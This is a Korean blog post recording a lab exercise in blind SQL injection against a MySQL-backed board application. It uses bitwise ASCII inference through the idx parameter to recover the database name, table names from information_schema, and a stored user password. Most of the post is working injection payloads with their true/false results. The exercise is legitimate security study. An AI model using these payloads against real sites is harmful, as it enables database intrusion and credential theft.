Oh! JUN

데이터 추론 기법(비트, MYSQL) 실습 본문

웹 해킹/SQL Injection

데이터 추론 기법(비트, MYSQL) 실습

Kwon Oh! JUN 2022. 8. 31. 20:19

※ 과정

※ 순서

1. 사용자 DB 찾기(board)

2. 테이블 찾기(tb_board)

3. 컬럼 찾기(idx, password)


1. 사용자 DB찾기(board)

 

1-1. 사용자 DB 문자열 개수

idx=10 and length(database())=5


1-2. 사용자 DB 이름


 


idx=10 and ascii(substring(database(),1,1))&1=1 거짓(오류 발생) 0


2진수 : 01100010
10진수 : 98

문자 : 'b'



idx=10 and ascii(substring(database(),1,1))&2=2 참(게시글 정상 출력) 1
idx=10 and ascii(substring(database(),1,1))&4=4 거짓(오류 발생) 0
idx=10 and ascii(substring(database(),1,1))&8=8 거짓(오류 발생) 0
idx=10 and ascii(substring(database(),1,1))&16=16 거짓(오류 발생) 0
idx=10 and ascii(substring(database(),1,1))&32=32 참(게시글 정상 출력) 1
idx=10 and ascii(substring(database(),1,1))&64=64 참(게시글 정상 출력) 1
idx=10 and ascii(substring(database(),1,1))&128=128 거짓(오류 발생) 0

- substring(database(),1,1) : database()의 첫번째 문자를

- ascii(substring(database(),1,1)) : 아스키코드로 변환해서 

- ascii(substring(database(),1,1))&1=1 : and 연산자를 통해 1(00000001)과 연산해서 1(00000001)이 나오면 참, 아니면 거짓

- 0000 0001 부터 1000 0000까지 한 결과 01100010가 나오고 2진수를 10진수로 변경하면 98이되고 문자로 변경하면 'b'이 된다.


※ 1, 2, 4, ... 128 이유?

0000 0001(2) : 1(10)

0000 0010(2) : 2(10)

0000 0100(2) : 4(10)

.

.

.

1000 0000(2) : 128(10)

 

※ &1=1, &2=2, &4=4, ... &128=128 이유?

 

ex)

        ???? ????

and  0000 0001 

-----------------------

        0000 0001

 

한 자리씩 비교하면서 같은 수(1=1, 2=2, 128=128)이 나오면 참이되니까 게시물이 출력될것이고

거짓이면 오류가 뜰거니까 비교해가면서 답을 유추할수 있다. 


idx=10 and ascii(substring(database(),2,1))&1=1 참(게시글 정상 출력) 1 2진수 : 01101111
10진수 : 111
문자 : 'o'
idx=10 and ascii(substring(database(),2,1))&2=2 참(게시글 정상 출력) 1
idx=10 and ascii(substring(database(),2,1))&4=4 참(게시글 정상 출력) 1
idx=10 and ascii(substring(database(),2,1))&8=8 참(게시글 정상 출력) 1
idx=10 and ascii(substring(database(),2,1))&16=16 거짓(오류 발생) 0
idx=10 and ascii(substring(database(),2,1))&32=32 참(게시글 정상 출력) 1
idx=10 and ascii(substring(database(),2,1))&64=64 참(게시글 정상 출력) 1
idx=10 and ascii(substring(database(),2,1))&128=128 거짓(오류 발생) 0

 

idx=10 and ascii(substring(database(),3,1))&1=1 참(게시글 정상 출력) 1 2진수 : 01100001
10진수 : 97
문자 : 'a'
idx=10 and ascii(substring(database(),3,1))&2=2 거짓(오류 발생) 0
idx=10 and ascii(substring(database(),3,1))&4=4 거짓(오류 발생) 0
idx=10 and ascii(substring(database(),3,1))&8=8 거짓(오류 발생) 0
idx=10 and ascii(substring(database(),3,1))&16=16 거짓(오류 발생) 0
idx=10 and ascii(substring(database(),3,1))&32=32 참(게시글 정상 출력) 1
idx=10 and ascii(substring(database(),3,1))&64=64 참(게시글 정상 출력) 1
idx=10 and ascii(substring(database(),3,1))&128=128 거짓(오류 발생) 0

 

idx=10 and ascii(substring(database(),4,1))&1=1 거짓(오류 발생) 0 2진수 : 01110010
10진수 : 114
문자 : 'r'

idx=10 and ascii(substring(database(),4,1))&2=2 참(게시글 정상 출력) 1
idx=10 and ascii(substring(database(),4,1))&4=4 거짓(오류 발생) 0
idx=10 and ascii(substring(database(),4,1))&8=8 거짓(오류 발생) 0
idx=10 and ascii(substring(database(),4,1))&16=16 참(게시글 정상 출력) 1
idx=10 and ascii(substring(database(),4,1))&32=32 참(게시글 정상 출력) 1
idx=10 and ascii(substring(database(),4,1))&64=64 참(게시글 정상 출력) 1
idx=10 and ascii(substring(database(),4,1))&128=128 거짓(오류 발생) 0

 

idx=10 and ascii(substring(database(),5,1))&1=1 거짓(오류 발생)  x



2진수 : 01100100
10진수 : 100
문자 : 'd'


idx=10 and ascii(substring(database(),5,1))&2=2 거짓(오류 발생) x
idx=10 and ascii(substring(database(),5,1))&4=4 참(게시글 정상 출력) o
idx=10 and ascii(substring(database(),5,1))&8=8 거짓(오류 발생) x
idx=10 and ascii(substring(database(),5,1))&16=16 거짓(오류 발생) x
idx=10 and ascii(substring(database(),5,1))&32=32 참(게시글 정상 출력) o
idx=10 and ascii(substring(database(),5,1))&64=64 참(게시글 정상 출력) o
idx=10 and ascii(substring(database(),5,1))&128=128 거짓(오류 발생) x

 

#사용자 DB 이름은 'board'


 

 

2-1. 테이블 이름 문자열 개수(tb_board)

 

2-1-1. 테이블 열 개수

(select count(*) from information_schema.tables where table_schema='board')=2

- 테이블 개수는 2


2-1-2. 테이블 이름 문자열 수

10 and length((select table_name from information_schema.tables where table_schema='board' limit 0,1))=7

- 첫번째 열의 테이블은 7


10 and length((select table_name from information_schema.tables where table_schema='board' limit 1,1))=8

- 두번째 열의 테이블은 8


2-2. 테이블 문자열 찾기

 

idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&1=1 1 2진수 : 01101101
10진수 : 109
문자 : m
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&2=2 0
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&4=4 1
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&8=8 1
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&16=16 0
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&32=32 1
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&64=64 1
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&128=128 0

- 이하 생략하고 테이블의 첫번째 열은 'members'


idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&1=1 0 2진수 : 01110100
10진수 : 116
문자 : 't'
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&2=2 0
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&4=4 1
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&8=8 0
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&16=16 1
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&32=32 1
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&64=64 1
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&128=128 0

- 이하 생략하고 테이블의 두번째 열은 'tb_board'


※ idx=8, password가 tb_board 테이블에 있다는걸 가정하에...

 

3-1. idx=8인 password의 문자 수 

idx=10 and length((select password from board.tb_board where idx=8))=4


3-2. password 확인

idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&1=1 1 2진수 : 00110001
10진수 : 49
문자 : 1
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&2=2 0
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&4=4 0
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&8=8 0
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&16=16 1
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&32=32 1
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&64=64 0
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&128=128 0

- 이하 생략하고 idx=8의 password는 '1234'이다.


★ 결과